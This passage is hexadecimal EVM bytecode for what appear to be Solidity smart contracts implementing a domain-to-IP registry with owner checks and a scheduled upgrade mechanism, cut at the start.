61480156105cf575060018081111561055957fe5b6000828154811061056657fe5b906000526020600020906003020160000160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660018111156105cd57fe5b145b156105df576001925050506105f1565b8060010190506104d1565b5060009150505b92915050565b6000818154811061060757600080fd5b90600052602060002090600302016000915090508060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b600080600080805490509050600081141561066d5760008092509250506107a0565b610675610878565b1561068d57600181101561068557fe5b806001900390505b60008114156106a35760008092509250506107a0565b60008190505b6000811115610796576001808111156106be57fe5b600060018303815481106106ce57fe5b906000526020600020906003020160000160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600181111561073557fe5b141561078a5760016000600183038154811061074d57fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350935050506107a0565b806001900390506106a9565b5060008092509250505b915091565b6107ad610878565b6107ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e390610c25565b60405180910390fd5b600080805490509050816000600183038154811061080657fe5b906000526020600020906003020160000160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083600181111561086f57fe5b02179055505050565b60008060008054905090506000811180156108b35750426000600183038154811061089f57fe5b906000526020600020906003020160010154115b91505090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000813590506108ec81610d7d565b92915050565b60008135905061090181610d94565b92915050565b60008135905061091681610dab565b92915050565b60008135905061092b81610dbb565b92915050565b60006020828403121561094357600080fd5b6000610951848285016108dd565b91505092915050565b6000806040838503121561096d57600080fd5b600061097b858286016108f2565b925050602061098c858286016108dd565b9150509250929050565b6000602082840312156109a857600080fd5b60006109b684828501610907565b91505092915050565b6000602082840312156109d157600080fd5b60006109df8482850161091c565b91505092915050565b600080604083850312156109fb57600080fd5b6000610a098582860161091c565b9250506020610a1a858286016108f2565b9150509250929050565b610a2d81610cff565b82525050565b610a3c81610d11565b82525050565b610a4b81610d59565b82525050565b6000610a5e601f83610cee565b91507f43616e6e6f74206f7074206e6f6e20706c616e6e656420757067726164652e006000830152602082019050919050565b6000610a9e601783610cee565b91507f43616e6e6f74207570677261646520746f20766f69642e0000000000000000006000830152602082019050919050565b6000610ade601b83610cee565b91507f43616e6e6f74207570677261646520696e2074686520706173742e00000000006000830152602082019050919050565b6000610b1e602283610cee565b91507f43616e6e6f742063616e63656c206e6f6e20706c616e6e65642075706772616460008301527f652e0000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610b84601883610cee565b91507f5570677261646520616c72656164792072756e6e696e672e00000000000000006000830152602082019050919050565b610bc081610d4f565b82525050565b6000602082019050610bdb6000830184610a24565b92915050565b6000602082019050610bf66000830184610a33565b92915050565b6000604082019050610c116000830185610a33565b610c1e6020830184610a42565b9392505050565b60006020820190508181036000830152610c3e81610a51565b9050919050565b60006020820190508181036000830152610c5e81610a91565b9050919050565b60006020820190508181036000830152610c7e81610ad1565b9050919050565b60006020820190508181036000830152610c9e81610b11565b9050919050565b60006020820190508181036000830152610cbe81610b77565b9050919050565b6000604082019050610cda6000830185610bb7565b610ce76020830184610a42565b9392505050565b600082825260208201905092915050565b6000610d0a82610d2f565b9050919050565b60008115159050919050565b6000610d2882610cff565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610d6482610d6b565b9050919050565b6000610d7682610d2f565b9050919050565b610d8681610cff565b8114610d9157600080fd5b50565b610d9d81610d1d565b8114610da857600080fd5b50565b60028110610db857600080fd5b50565b610dc481610d4f565b8114610dcf57600080fd5b5056fea26469706673582212209aa5cedce839347f464b6a28b916dda17dff57b26a51af307a7ddfe440e9563864736f6c6343000704003360c06040523480156200001157600080fd5b50604051620024df380380620024df8339818101604052810190620000379190620000c3565b3373ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250505062000151565b600081519050620000bd8162000137565b92915050565b600060208284031215620000d657600080fd5b6000620000e684828501620000ac565b91505092915050565b6000620000fc8262000117565b9050919050565b60006200011082620000ef565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b620001428162000103565b81146200014e57600080fd5b50565b60805160601c60a05160601c6123466200019960003980610289528061047952806109265280610ec952806112545250806102ad528061063b528061122d52506123466000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063894049781161008c578063d2ac7a5f11610066578063d2ac7a5f14610213578063f7a4669614610231578063f851a4401461024d578063fbf58b3e1461026b576100cf565b806389404978146101aa57806390b60de9146101c6578063b1d6d39d146101f7576100cf565b80630528b345146100d457806327557157146100f2578063461a44781461010e57806355f291661461013f5780635efd5384146101495780637386bbc514610179575b600080fd5b6100dc610287565b6040516100e99190611e48565b60405180910390f35b61010c60048036038101906101079190611973565b6102ab565b005b610128600480360381019061012391906117fa565b610471565b604051610136929190611e1f565b60405180910390f35b610147610639565b005b610163600480360381019061015e9190611795565b610784565b6040516101709190611ddb565b60405180910390f35b610193600480360381019061018e919061194a565b6108cd565b6040516101a1929190612083565b60405180910390f35b6101c460048036038101906101bf91906118e3565b610921565b005b6101e060048036038101906101db91906116f4565b610c56565b6040516101ee929190611df6565b60405180910390f35b610211600480360381019061020c91906117d1565b610db0565b005b61021b610e83565b6040516102289190611ddb565b60405180910390f35b61024b6004803603810190610246919061188f565b610ec4565b005b61025561122b565b6040516102629190611da5565b60405180910390f35b6102856004803603810190610280919061183b565b61124f565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461030357600080fd5b61030b610e83565b1561034b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161034290612063565b60405180910390fd5b42821161038d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161038490611f63565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156103fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f490611f43565b60405180910390fd5b6000806001816001815401808255809150500390600052602060002090600302019050828160010181905550818160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6000806000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b81526004016104d09190611dc0565b604080518083038186803b1580156104e757600080fd5b505afa1580156104fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051f919061171d565b9150915081156105bc578073ffffffffffffffffffffffffffffffffffffffff1663461a4478866040518263ffffffff1660e01b81526004016105629190611e63565b604080518083038186803b15801561057957600080fd5b505afa15801561058d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b19190611759565b935093505050610634565b6001856040516105cc9190611d8e565b908152602001604051809103902060000160009054906101000a900460e01b6001866040516105fb9190611d8e565b908152602001604051809103902060000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350935050505b915091565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461069157600080fd5b610699610e83565b6106d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cf90611fe3565b60405180910390fd5b6000600160008054905003815481106106ed57fe5b9060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555050600080548061073957fe5b6001900381819060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550509055565b6000806000805490509050610797610e83565b156107a457806001900390505b60005b818110156108c057600081815481106107bc57fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156108a5575060018081111561082f57fe5b6000828154811061083c57fe5b906000526020600020906003020160000160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660018111156108a357fe5b145b156108b5576001925050506108c7565b8060010190506107a7565b5060009150505b92915050565b600081815481106108dd57600080fd5b90600052602060002090600302016000915090508060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b815260040161097d9190611dc0565b604080518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc919061171d565b915091508115610a4c578073ffffffffffffffffffffffffffffffffffffffff1663894049788686866040518463ffffffff1660e01b8152600401610a1393929190611ee5565b600060405180830381600087803b158015610a2d57600080fd5b505af1158015610a41573d6000803e3d6000fd5b505050505050610c51565b600060e01b847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa990611fc3565b60405180910390fd5b6000855111610af6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aed90611f83565b60405180910390fd5b6000600186604051610b089190611d8e565b90815260200160405180910390209050600060e01b8160000160009054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148015610bab5750600073ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be190612023565b60405180910390fd5b848160000160006101000a81548163ffffffff021916908360e01c0217905550838160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505b505050565b6000806000808054905090506000811415610c78576000809250925050610dab565b610c80610e83565b15610c98576001811015610c9057fe5b806001900390505b6000811415610cae576000809250925050610dab565b60008190505b6000811115610da157600180811115610cc957fe5b60006001830381548110610cd957fe5b906000526020600020906003020160000160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166001811115610d4057fe5b1415610d9557600160006001830381548110610d5857fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16935093505050610dab565b80600190039050610cb4565b5060008092509250505b915091565b610db8610e83565b610df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dee90611f23565b60405180910390fd5b6000808054905090508160006001830381548110610e1157fe5b906000526020600020906003020160000160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690836001811115610e7a57fe5b02179055505050565b6000806000805490509050600081118015610ebe57504260006001830381548110610eaa57fe5b906000526020600020906003020160010154115b91505090565b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b8152600401610f209190611dc0565b604080518083038186803b158015610f3757600080fd5b505afa158015610f4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6f919061171d565b9150915081156110e95760008173ffffffffffffffffffffffffffffffffffffffff1663461a4478866040518263ffffffff1660e01b8152600401610fb49190611e63565b604080518083038186803b158015610fcb57600080fd5b505afa158015610fdf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110039190611759565b9150503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106b90612003565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663f7a4669686866040518363ffffffff1660e01b81526004016110af929190611eb5565b600060405180830381600087803b1580156110c957600080fd5b505af11580156110dd573d6000803e3d6000fd5b50505050505050611227565b60006001856040516110fb9190611d8e565b908152602001604051809103902090503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461119d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119490612043565b60405180910390fd5b600060e01b847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa90611fc3565b60405180910390fd5b838160000160006101000a81548163ffffffff021916908360e01c02179055505050505b5050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b81526004016112ab9190611dc0565b604080518083038186803b1580156112c257600080fd5b505afa1580156112d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112fa919061171d565b9150915081156114745760008173ffffffffffffffffffffffffffffffffffffffff1663461a4478866040518263ffffffff1660e01b815260040161133f9190611e63565b604080518083038186803b15801561135657600080fd5b505afa15801561136a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138e9190611759565b9150503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146113ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f690612003565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663fbf58b3e86866040518363ffffffff1660e01b815260040161143a929190611e85565b600060405180830381600087803b15801561145457600080fd5b505af1158015611468573d6000803e3d6000fd5b505050505050506115df565b60006001856040516114869190611d8e565b908152602001604051809103902090503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611528576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151f90612043565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90611fa3565b60405180910390fd5b838160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505b5050565b6000813590506115f28161228d565b92915050565b6000815190506116078161228d565b92915050565b60008151905061161c816122a4565b92915050565b600081359050611631816122bb565b92915050565b600081519050611646816122bb565b92915050565b60008135905061165b816122d2565b92915050565b600081519050611670816122d2565b92915050565b600081359050611685816122e9565b92915050565b600082601f83011261169c57600080fd5b81356116af6116aa826120dd565b6120ac565b915080825260208301602083018583830111156116cb57600080fd5b6116d6838284612238565b50505092915050565b6000813590506116ee816122f9565b92915050565b60006020828403121561170657600080fd5b6000611714848285016115e3565b91505092915050565b6000806040838503121561173057600080fd5b600061173e8582860161160d565b925050602061174f85828601611661565b9150509250929050565b6000806040838503121561176c57600080fd5b600061177a85828601611637565b925050602061178b858286016115f8565b9150509250929050565b600080604083850312156117a857600080fd5b60006117b68582860161164c565b92505060206117c7858286016115e3565b9150509250929050565b6000602082840312156117e357600080fd5b60006117f184828501611676565b91505092915050565b60006020828403121561180c57600080fd5b600082013567ffffffffffffffff81111561182657600080fd5b6118328482850161168b565b91505092915050565b6000806040838503121561184e57600080fd5b600083013567ffffffffffffffff81111561186857600080fd5b6118748582860161168b565b9250506020611885858286016115e3565b9150509250929050565b600080604083850312156118a257600080fd5b600083013567ffffffffffffffff8111156118bc57600080fd5b6118c88582860161168b565b92505060206118d985828601611622565b9150509250929050565b6000806000606084860312156118f857600080fd5b600084013567ffffffffffffffff81111561191257600080fd5b61191e8682870161168b565b935050602061192f86828701611622565b9250506040611940868287016115e3565b9150509250925092565b60006020828403121561195c57600080fd5b600061196a848285016116df565b91505092915050565b6000806040838503121561198657600080fd5b6000611994858286016116df565b92505060206119a58582860161164c565b9150509250929050565b6119b8816121ba565b82525050565b6119c781612134565b82525050565b6119d681612146565b82525050565b6119e581612152565b82525050565b6119f4816121cc565b82525050565b611a03816121f0565b82525050565b6000611a148261210d565b611a1e8185612118565b9350611a2e818560208601612247565b611a378161227c565b840191505092915050565b6000611a4d8261210d565b611a578185612129565b9350611a67818560208601612247565b80840191505092915050565b6000611a80601f83612118565b91507f43616e6e6f74206f7074206e6f6e20706c616e6e656420757067726164652e006000830152602082019050919050565b6000611ac0601783612118565b91507f43616e6e6f74207570677261646520746f20766f69642e0000000000000000006000830152602082019050919050565b6000611b00601b83612118565b91507f43616e6e6f74207570677261646520696e2074686520706173742e00000000006000830152602082019050919050565b6000611b40600f83612118565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000611b80600e83612118565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000611bc0600b83612118565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000611c00602283612118565b91507f43616e6e6f742063616e63656c206e6f6e20706c616e6e65642075706772616460008301527f652e0000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c66602383612118565b91507f4e6f7420746865206f776e657220696e20757067726164656420636f6e74726160008301527f63742e00000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611ccc601583612118565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000611d0c600e83612118565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000611d4c601883612118565b91507f5570677261646520616c72656164792072756e6e696e672e00000000000000006000830152602082019050919050565b611d88816121b0565b82525050565b6000611d9a8284611a42565b915081905092915050565b6000602082019050611dba60008301846119be565b92915050565b6000602082019050611dd560008301846119af565b92915050565b6000602082019050611df060008301846119cd565b92915050565b6000604082019050611e0b60008301856119cd565b611e1860208301846119eb565b9392505050565b6000604082019050611e3460008301856119dc565b611e4160208301846119be565b9392505050565b6000602082019050611e5d60008301846119fa565b92915050565b60006020820190508181036000830152611e7d8184611a09565b905092915050565b60006040820190508181036000830152611e9f8185611a09565b9050611eae60208301846119be565b9392505050565b60006040820190508181036000830152611ecf8185611a09565b9050611ede60208301846119dc565b9392505050565b60006060820190508181036000830152611eff8186611a09565b9050611f0e60208301856119dc565b611f1b60408301846119be565b949350505050565b60006020820190508181036000830152611f3c81611a73565b9050919050565b60006020820190508181036000830152611f5c81611ab3565b9050919050565b60006020820190508181036000830152611f7c81611af3565b9050919050565b60006020820190508181036000830152611f9c81611b33565b9050919050565b60006020820190508181036000830152611fbc81611b73565b9050919050565b60006020820190508181036000830152611fdc81611bb3565b9050919050565b60006020820190508181036000830152611ffc81611bf3565b9050919050565b6000602082019050818103600083015261201c81611c59565b9050919050565b6000602082019050818103600083015261203c81611cbf565b9050919050565b6000602082019050818103600083015261205c81611cff565b9050919050565b6000602082019050818103600083015261207c81611d3f565b9050919050565b60006040820190506120986000830185611d7f565b6120a560208301846119eb565b9392505050565b6000604051905081810181811067ffffffffffffffff821117156120d3576120d261227a565b5b8060405250919050565b600067ffffffffffffffff8211156120f8576120f761227a565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600061213f82612190565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600061218982612134565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006121c582612214565b9050919050565b60006121d7826121de565b9050919050565b60006121e982612190565b9050919050565b60006121fb82612202565b9050919050565b600061220d82612190565b9050919050565b600061221f82612226565b9050919050565b600061223182612190565b9050919050565b82818337600083830152505050565b60005b8381101561226557808201518184015260208101905061224a565b83811115612274576000848401525b50505050565bfe5b6000601f19601f8301169050919050565b61229681612134565b81146122a157600080fd5b50565b6122ad81612146565b81146122b857600080fd5b50565b6122c481612152565b81146122cf57600080fd5b50565b6122db8161217e565b81146122e657600080fd5b50565b600281106122f657600080fd5b50565b612302816121b0565b811461230d57600080fd5b5056fea264697066735822122005eb7b9ce5d8e8cd0318058e002f115427649b6a5a095655edf311ff4ccee79a64736f6c6343000704003360c06040523480156200001157600080fd5b5060405162001158380380620011588339818101604052810190620000379190620000db565b8173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250505050620001ac565b600081519050620000be8162000178565b92915050565b600081519050620000d58162000192565b92915050565b60008060408385031215620000ef57600080fd5b6000620000ff85828601620000ad565b92505060206200011285828601620000c4565b9150509250929050565b6000620001298262000158565b9050919050565b60006200013d826200011c565b9050919050565b600062000151826200011c565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b620001838162000130565b81146200018f57600080fd5b50565b6200019d8162000144565b8114620001a957600080fd5b50565b60805160601c60a05160601c610f78620001e06000398061012a52806107d55250806103d152806107785250610f786000f3fe608060405234801561001057600080fd5b50600436106100625760003560e01c80630528b34514610067578063461a44781461008557806389404978146100b65780639735009b146100d2578063f7a46696146100f0578063fbf58b3e1461010c575b600080fd5b61006f610128565b60405161007c9190610cc4565b60405180910390f35b61009f600480360381019061009a9190610943565b61014c565b6040516100ad929190610c57565b60405180910390f35b6100d060048036038101906100cb9190610a2c565b6101c9565b005b6100da6103cf565b6040516100e79190610c80565b60405180910390f35b61010a600480360381019061010591906109d8565b6103f3565b005b61012660048036038101906101219190610984565b61059d565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b60008060008360405161015f9190610c40565b908152602001604051809103902060000160009054906101000a900460e01b60008460405161018e9190610c40565b908152602001604051809103902060000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691509150915091565b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561022f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161022690610d1f565b60405180910390fd5b6000835111610273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026a90610cdf565b60405180910390fd5b600080846040516102849190610c40565b90815260200160405180910390209050600060e01b8160000160009054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480156103275750600073ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161035d90610d3f565b60405180910390fd5b828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600080836040516104049190610c40565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561049e57503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b806104d357506104d2338260000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610774565b5b610512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050990610d5f565b60405180910390fd5b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90610d1f565b60405180910390fd5b818160000160006101000a81548163ffffffff021916908360e01c0217905550505050565b600080836040516105ae9190610c40565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561064857503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8061067d575061067c338260000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610774565b5b6106bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b390610d5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561072c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072390610cff565b60405180910390fd5b818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d35760019050610881565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16635efd538484846040518363ffffffff1660e01b815260040161082e929190610c9b565b60206040518083038186803b15801561084657600080fd5b505afa15801561085a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087e919061091a565b90505b92915050565b60008135905061089681610efd565b92915050565b6000815190506108ab81610f14565b92915050565b6000813590506108c081610f2b565b92915050565b600082601f8301126108d757600080fd5b81356108ea6108e582610db0565b610d7f565b9150808252602083016020830185838301111561090657600080fd5b610911838284610eb9565b50505092915050565b60006020828403121561092c57600080fd5b600061093a8482850161089c565b91505092915050565b60006020828403121561095557600080fd5b600082013567ffffffffffffffff81111561096f57600080fd5b61097b848285016108c6565b91505092915050565b6000806040838503121561099757600080fd5b600083013567ffffffffffffffff8111156109b157600080fd5b6109bd858286016108c6565b92505060206109ce85828601610887565b9150509250929050565b600080604083850312156109eb57600080fd5b600083013567ffffffffffffffff811115610a0557600080fd5b610a11858286016108c6565b9250506020610a22858286016108b1565b9150509250929050565b600080600060608486031215610a4157600080fd5b600084013567ffffffffffffffff811115610a5b57600080fd5b610a67868287016108c6565b9350506020610a78868287016108b1565b9250506040610a8986828701610887565b9150509250925092565b610a9c81610e07565b82525050565b610aab81610e25565b82525050565b610aba81610e71565b82525050565b610ac981610e95565b82525050565b6000610ada82610de0565b610ae48185610dfc565b9350610af4818560208601610ec8565b80840191505092915050565b6000610b0d600f83610deb565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000610b4d600e83610deb565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610b8d600b83610deb565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000610bcd601583610deb565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000610c0d600e83610deb565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610c4c8284610acf565b915081905092915050565b6000604082019050610c6c6000830185610aa2565b610c796020830184610a93565b9392505050565b6000602082019050610c956000830184610ab1565b92915050565b6000604082019050610cb06000830185610ab1565b610cbd6020830184610a93565b9392505050565b6000602082019050610cd96000830184610ac0565b92915050565b60006020820190508181036000830152610cf881610b00565b9050919050565b60006020820190508181036000830152610d1881610b40565b9050919050565b60006020820190508181036000830152610d3881610b80565b9050919050565b60006020820190508181036000830152610d5881610bc0565b9050919050565b60006020820190508181036000830152610d7881610c00565b9050919050565b6000604051905081810181811067ffffffffffffffff82111715610da657610da5610efb565b5b8060405250919050565b600067ffffffffffffffff821115610dcb57610dca610efb565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000610e1282610e51565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610e7c82610e83565b9050919050565b6000610e8e82610e51565b9050919050565b6000610ea082610ea7565b9050919050565b6000610eb282610e51565b9050919050565b82818337600083830152505050565b60005b83811015610ee6578082015181840152602081019050610ecb565b83811115610ef5576000848401525b50505050565bfe5b610f0681610e07565b8114610f1157600080fd5b50565b610f1d81610e19565b8114610f2857600080fd5b50565b610f3481610e25565b8114610f3f57600080fd5b5056fea2646970667358221220eae0b7acf5616ffe9f18fa67a8e9d5245f621f3a5ce549e7c2ff61c9cfcd5f6d64736f6c6343000704003360e06040523480156200001157600080fd5b506040516200113438038062001134833981810160405281019062000037919062000148565b82600160006101000a81548163ffffffff021916908360e01c02179055508173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250503373ffffffffffffffffffffffffffffffffffffffff1660c08173ffffffffffffffffffffffffffffffffffffffff1660601b8152505050505062000274565b600081519050620001148162000226565b92915050565b6000815190506200012b8162000240565b92915050565b60008151905062000142816200025a565b92915050565b6000806000606084860312156200015e57600080fd5b60006200016e8682870162000103565b935050602062000181868287016200011a565b9250506040620001948682870162000131565b9150509250925092565b6000620001ab8262000206565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b6000620001eb826200019e565b9050919050565b6000620001ff826200019e565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6200023181620001b2565b81146200023d57600080fd5b50565b6200024b81620001de565b81146200025757600080fd5b50565b6200026581620001f2565b81146200027157600080fd5b50565b60805160601c60a05160601c60c05160601c610e8a620002aa6000398061042c5250806101615250806104085250610e8a6000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c80639735009b1161005b5780639735009b146100ed578063d554b2f61461010b578063f7a4669614610127578063fbf58b3e146101435761007d565b80630528b34514610082578063461a4478146100a057806389404978146100d1575b600080fd5b61008a61015f565b6040516100979190610bf9565b60405180910390f35b6100ba60048036038101906100b591906108a1565b610183565b6040516100c8929190610bb5565b60405180910390f35b6100eb60048036038101906100e6919061098a565b610200565b005b6100f5610406565b6040516101029190610bde565b60405180910390f35b6101256004803603810190610120919061098a565b61042a565b005b